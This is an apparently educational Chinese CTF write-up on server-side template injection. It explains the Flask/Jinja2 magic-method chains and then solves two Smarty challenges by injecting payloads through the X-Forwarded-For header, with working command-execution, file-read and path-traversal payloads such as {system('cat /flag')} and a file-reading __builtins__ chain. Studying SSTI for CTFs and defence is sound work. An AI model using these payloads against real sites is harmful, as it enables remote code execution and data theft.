SSTI模板注入
一些比较好的文章:
https://www.cnblogs.com/20175211lyz/p/11425368.html
https://bbs.ichunqiu.com/thread-47685-1-1.html?from=aqzx8
-
什么是SSTI
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后利用后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎,主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
现在网上提起的比较多的是Python的网站。
-
什么是模板引擎
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这就大大提升了开发效率,良好的设计也使得代码重用变得更加容易。
也就是说,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
-
攻击流程
flask SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数
__dict__:保存类实例或对象实例的属性变量键值对字典 __class__:返回类型所属的对象 __mro__:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __bases__ :返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的 __subclasses__:每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__:类的初始化方法 __globals__:对包含函数全局变量的字典的引用
- 获取基本类
''.__class__.__mro__[2] {}.__class__.__bases__[0] ().__class__.__bases__[0] [].__class__.__bases__[0] request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
- 获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
找到重载过的
__init__
类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)>>> ''.__class__.__mro__[2].__subclasses__()[99].__init__ <slot wrapper '__init__' of 'object' objects> >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__ <unbound method WarningMessage.__init__>
- 查看其引用
__builtins__
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
除此外还有其他的调用方式
[BJDCTF2020]The mystery of ip
本题考查XFF头的SSTI模板注入,没有过滤
hint里给我们提示了ip,在flag.php那里尝试xff头,发现成功回显,说明回显的点在xff头那里。猜测是SSTI。
抓取flag.php和hint.php的包
使用burpsuite抓取Flag页面的包,尝试添加X-Forwarded-For头,并赋值127.0.0.1,ip地址发生变化。也可修改client-ip。
可以看到此时显示的IP已经变了,猜测存在ssti
构造一个表达式Payload测试一下:
X-Forwarded-For: {{system(‘ls‘)}}
可以看到服务器执行了我们的命令,直接cat /flag即可获得Flag
X-Forwarded-For: {{system(‘cat /flag‘)}}
做出题之后再来分析一下这道题的源码,看一下flag.php的源码:
<?php
require_once(‘header.php‘);
require_once(‘./libs/Smarty.class.php‘);
$smarty = new Smarty();
if (!empty($_SERVER[‘HTTP_CLIENT_IP‘]))
{
$ip=$_SERVER[‘HTTP_CLIENT_IP‘];
}
elseif (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR‘]))
{
$ip=$_SERVER[‘HTTP_X_FORWARDED_FOR‘];
}
else
{
$ip=$_SERVER[‘REMOTE_ADDR‘];
}
//$your_ip = $smarty->display("string:".$ip);
echo "<div class=\"container panel1\">
<div class=\"row\">
<div class=\"col-md-4\">
</div>
<div class=\"col-md-4\">
<div class=\"jumbotron pan\">
<div class=\"form-group log\">
<label><h2>Your IP is : ";
$smarty->display("string:".$ip);
echo " </h2></label>
</div>
</div>
</div>
<div class=\"col-md-4\">
</div>
</div>
</div>";
?>
形成ssti的代码:$smarty->display("string:".$ip)
采用了Smarty模板引擎,导致了SSTI。
[CISCN2019 华东南赛区]Web11
本题考查的内容是Smarty SSTI,下面是一篇关于它的讲解
https://www.freebuf.com/column/219913.html
-
第一种思路
设置X-Forwarded-For为{7+7},在current ip 处回显14,确实在这里存在ssti
查阅smarty手册,发现**{$smarty.version}**,返回版本信息3.1.30,这里smarty的版本是${smarty.template}返回当前模板的文件名
smarty中的{if}标签中可以执行php语句,得flag:
{if readfile('/flag')}{/if}
smarty中还有{literal}、{php}(smarty 2可用),试试{literal}或许还有别的解题思路。
{literal}可以让块中间的内容忽略Smarty的解析
paylaod
{literal}alert('xss');{/literal} 可以产生 xss
-
第二种思路
读取某个文件比如:
X-Forwarded-For:{system('cat /api')}
多尝试几次
X-Forwarded-For:{system(‘cat /api’)} X-Forwarded-For:{system(‘cat /css’)} X-Forwarded-For:{system(‘cat /index.php’)} X-Forwarded-For:{system(‘cat /smarty’)} X-Forwarded-For:{system(‘cat /templates_c’)} X-Forwarded-For:{system(‘cat /xff’)} X-Forwarded-For:{system(‘cat /flag’)} X-Forwarded-For:{system(‘cat /flag.php’)}
猜测flag可能是在根目录下,所以输入
X-Forwarded-For:{system('cat ../../../../../../../../flag')}